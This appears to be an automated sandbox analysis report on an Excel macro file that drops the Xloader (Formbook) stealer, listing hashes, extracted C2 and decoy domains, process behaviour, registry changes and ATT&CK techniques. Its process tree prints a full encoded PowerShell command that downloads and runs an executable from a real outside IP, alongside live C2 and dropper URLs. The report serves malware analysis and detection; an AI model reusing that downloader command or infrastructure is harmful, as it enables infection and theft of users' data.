xloader | 8ceae17c6a9fec00be0b94843b44fd2b19909cc080fcaa3a29a994f98ee6bc3a

General

Target

catalogue_2021_samples_list_revise_ol.xlsm
Size

22KB
MD5

dcc165863b274e869ea3fcad7499b793
SHA1

fb38b9c991744087932066e5e6ba9ea5377030cf
SHA256

8ceae17c6a9fec00be0b94843b44fd2b19909cc080fcaa3a29a994f98ee6bc3a
SHA512

5ee459191858947e3273e05e53404ef76779dce9b8f60ed2d6f0f888543af0585d1e46c3bb0e5296b2cd2c63883b6f51f8a27efff8b695e52ffaca73a1b2c10e

Score

10^/10

xloader pufi loader rat suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://84.252.122.23/acs/msn.exe

Extracted

Family

xloader

Version

2.5

Campaign

pufi

C2

http://www.homestechs.com/pufi/

Decoy

fusiongroupgames.net

hugevari.com

rebeccagriffiths.com

trocaoferta.com

theslashapp.com

codezonesoftware.xyz

sottocommunications.com

minicreators.online

course2millions.com

hfm5n1dhkjqwpe.xyz

xlab-ub.com

silvanaribeirocake.com

thefabinteriordesign.com

mg-leadership.com

petbort.com

ndust.net

203040302.xyz

jakital.com

shophuunghia.info

rednacionaldejuecesrd.net

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1772	896	cmd.exe	EXCEL.EXE

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Xloader Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/2036-75-0x0000000000400000-0x0000000000429000-memory.dmp	xloader
behavioral1/memory/2036-76-0x000000000041D450-mapping.dmp	xloader
behavioral1/memory/996-85-0x00000000000C0000-0x00000000000E9000-memory.dmp	xloader

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 612 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Valohchctwnoaj.exeValohchctwnoaj.exeValohchctwnoaj.exe

pid process

1532 Valohchctwnoaj.exe
1472 Valohchctwnoaj.exe
2036 Valohchctwnoaj.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

896 EXCEL.EXE
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

612 powershell.exe

flow	pid	process
4	612	powershell.exe

pid	process
1532	Valohchctwnoaj.exe
1472	Valohchctwnoaj.exe
2036	Valohchctwnoaj.exe

pid	process
896	EXCEL.EXE

Suspicious use of SetThreadContext 3 IoCs

Processes:

Valohchctwnoaj.exeValohchctwnoaj.exechkdsk.exe

description	pid	process	target process
PID 1532 set thread context of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 2036 set thread context of 1388	2036	Valohchctwnoaj.exe	Explorer.EXE
PID 996 set thread context of 1388	996	chkdsk.exe	Explorer.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEchkdsk.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	chkdsk.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\47E57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

896 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\47E57F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
896	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exeValohchctwnoaj.exeValohchctwnoaj.exechkdsk.exe

pid	process
612	powershell.exe
612	powershell.exe
612	powershell.exe
1532	Valohchctwnoaj.exe
1532	Valohchctwnoaj.exe
2036	Valohchctwnoaj.exe
2036	Valohchctwnoaj.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe
996	chkdsk.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1388 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

Valohchctwnoaj.exechkdsk.exe

pid process

2036 Valohchctwnoaj.exe
2036 Valohchctwnoaj.exe
2036 Valohchctwnoaj.exe
996 chkdsk.exe
996 chkdsk.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

896 EXCEL.EXE

pid	process
1388	Explorer.EXE

pid	process
2036	Valohchctwnoaj.exe
2036	Valohchctwnoaj.exe
2036	Valohchctwnoaj.exe
996	chkdsk.exe
996	chkdsk.exe

pid	process
896	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exeValohchctwnoaj.exeValohchctwnoaj.exechkdsk.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	1532	Valohchctwnoaj.exe
Token: SeDebugPrivilege	2036	Valohchctwnoaj.exe
Token: SeDebugPrivilege	996	chkdsk.exe
Token: SeShutdownPrivilege	1388	Explorer.EXE
Token: SeShutdownPrivilege	1388	Explorer.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE
896 EXCEL.EXE

pid	process
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeValohchctwnoaj.exeExplorer.EXEchkdsk.exe

description	pid	process	target process
PID 896 wrote to memory of 1772	896	EXCEL.EXE	cmd.exe
PID 896 wrote to memory of 1772	896	EXCEL.EXE	cmd.exe
PID 896 wrote to memory of 1772	896	EXCEL.EXE	cmd.exe
PID 896 wrote to memory of 1772	896	EXCEL.EXE	cmd.exe
PID 1772 wrote to memory of 612	1772	cmd.exe	powershell.exe
PID 1772 wrote to memory of 612	1772	cmd.exe	powershell.exe
PID 1772 wrote to memory of 612	1772	cmd.exe	powershell.exe
PID 1772 wrote to memory of 612	1772	cmd.exe	powershell.exe
PID 612 wrote to memory of 1532	612	powershell.exe	Valohchctwnoaj.exe
PID 612 wrote to memory of 1532	612	powershell.exe	Valohchctwnoaj.exe
PID 612 wrote to memory of 1532	612	powershell.exe	Valohchctwnoaj.exe
PID 612 wrote to memory of 1532	612	powershell.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 1472	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 1472	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 1472	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 1472	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1532 wrote to memory of 2036	1532	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1388 wrote to memory of 996	1388	Explorer.EXE	chkdsk.exe
PID 1388 wrote to memory of 996	1388	Explorer.EXE	chkdsk.exe
PID 1388 wrote to memory of 996	1388	Explorer.EXE	chkdsk.exe
PID 1388 wrote to memory of 996	1388	Explorer.EXE	chkdsk.exe
PID 996 wrote to memory of 1624	996	chkdsk.exe	cmd.exe
PID 996 wrote to memory of 1624	996	chkdsk.exe	cmd.exe
PID 996 wrote to memory of 1624	996	chkdsk.exe	cmd.exe
PID 996 wrote to memory of 1624	996	chkdsk.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1388

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\catalogue_2021_samples_list_revise_ol.xlsm
2⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\cmd.exe
cmd /c Vmjyqpdtjzulujohdgjh.bat
3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBWAGEAbABvAGgAYwBoAGMAdAB3AG4AbwBhAGoALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAzAC8AYQBjAHMALwBtAHMAbgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:612

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
6⤵
- Executes dropped EXE
PID:1472

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\SysWOW64\chkdsk.exe
"C:\Windows\SysWOW64\chkdsk.exe"
2⤵
- Suspicious use of SetThreadContext
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
3⤵
PID:1624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

Download Submit
C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
